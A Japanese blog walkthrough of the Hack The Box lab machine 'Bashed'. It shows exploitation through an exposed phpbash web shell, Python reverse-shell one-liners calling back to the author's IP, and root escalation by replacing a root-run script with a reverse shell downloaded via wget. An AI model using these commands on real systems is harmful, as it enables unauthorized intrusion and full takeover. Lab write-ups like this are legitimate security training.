[Hack The Box]Bashedをやってみた

Junki
9 min readMay 8, 2020

--

忘れないように書いときます。φ(。。;)メモメモ

情報収集してみる

Spartaでポートスキャンします。

WEBサイトhttp://10.10.10.68/single.htmlにリンクがはってあります。

リンク先のGithubページをのぞいてみます。

phpbashを探します。SpataのNiktoスキャン結果を見てみます。

+ OSVDB-3268: /dev/: Directory indexing found.
+ OSVDB-3092: /dev/: This might be interesting…
+ OSVDB-3268: /php/: Directory indexing found.
+ OSVDB-3092: /php/: This might be interesting…
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.

devフォルダをチェックします。phpbashありました。

www-dataでコマンドを実行できます。

www-data@bashed:/var/www/html/dev# whoami
www-data

Pythonがインストールされています。

www-data@bashed:/var/www/html/dev# which python
/usr/bin/python

シェルをいただいてみる

リバースシェルを待ち構えます。

nc -lvp 4444

WebシェルでPentestmonkyのPythonリバースシェルを実行します。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

リバースシェルをキャッチできました。

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.68: inverse host lookup failed: Unknown host
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.68] 40800
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

権限を昇格してみる

sudoで実行したユーザに対する権限を表示します。

sudo -l

ノーパスワードでscriptmanagerにユーザを切り替えられます。

$ sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL

scriptmanagerにユーザを切り替えます。

sudo -i -u scriptmanager

rootフォルダをのぞきます。scriptsフォルダだけ所有者がscriptmanagerです。

cd /
ls -la
total 88
drwxr-xr-x 23 root root 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
drwxr-xr-x 2 root root 4096 Dec 4 2017 bin
drwxr-xr-x 3 root root 4096 Dec 4 2017 boot
drwxr-xr-x 19 root root 4240 May 7 19:56 dev
drwxr-xr-x 89 root root 4096 Dec 4 2017 etc
drwxr-xr-x 4 root root 4096 Dec 4 2017 home
lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -> boot/initrd.img-4.4.0-62-generic
drwxr-xr-x 19 root root 4096 Dec 4 2017 lib
drwxr-xr-x 2 root root 4096 Dec 4 2017 lib64
drwx------ 2 root root 16384 Dec 4 2017 lost+found
drwxr-xr-x 4 root root 4096 Dec 4 2017 media
drwxr-xr-x 2 root root 4096 Feb 15 2017 mnt
drwxr-xr-x 2 root root 4096 Dec 4 2017 opt
dr-xr-xr-x 114 root root 0 May 7 19:56 proc
drwx------ 3 root root 4096 Dec 4 2017 root
drwxr-xr-x 18 root root 500 May 7 19:56 run
drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin
drwxrwxr-- 2 scriptmanager scriptmanager 4096 May 7 23:18 scripts
drwxr-xr-x 2 root root 4096 Feb 15 2017 srv
dr-xr-xr-x 13 root root 0 May 7 19:56 sys
drwxrwxrwt 10 root root 4096 May 7 23:50 tmp
drwxr-xr-x 10 root root 4096 Dec 4 2017 usr
drwxr-xr-x 12 root root 4096 Dec 4 2017 var
lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -> boot/vmlinuz-4.4.0-62-generic

scriptsフォルダをのぞきます。test.txtがちょっと前に更新されてます。

ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
drwxr-xr-x 23 root root 4096 Dec 4 2017 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 May 7 22:11 test.txt

test.pyの中身。

cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

test.pyがtest.txtを自動的に更新しているみたいです。test.pyをリバースシェルに置き換えればいいみたいです。中身をリバースシェルに置き換えたtest.pyをつくります。

root@kali:~# cat test.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.25”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

ほかのユーザも実行できるように権限を変えます。

chmod 777 test.py

ホストマシンでwebサーバを立ち上げます。

python -m SimpleHTTPServer 8080

ターゲットのマシンから元のtest.pyを削除します。

rm test.py

wgetでtest.pyをダウンロードします。

wget http://10.10.14.25:8080/test.py

ncでリバースシェルをまちかまえます。

nc -lnvp 5555

rootユーザのシェルをキャッチできました。😎

root@kali:~# nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.68] 59372
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

--

--

Junki
Junki

No responses yet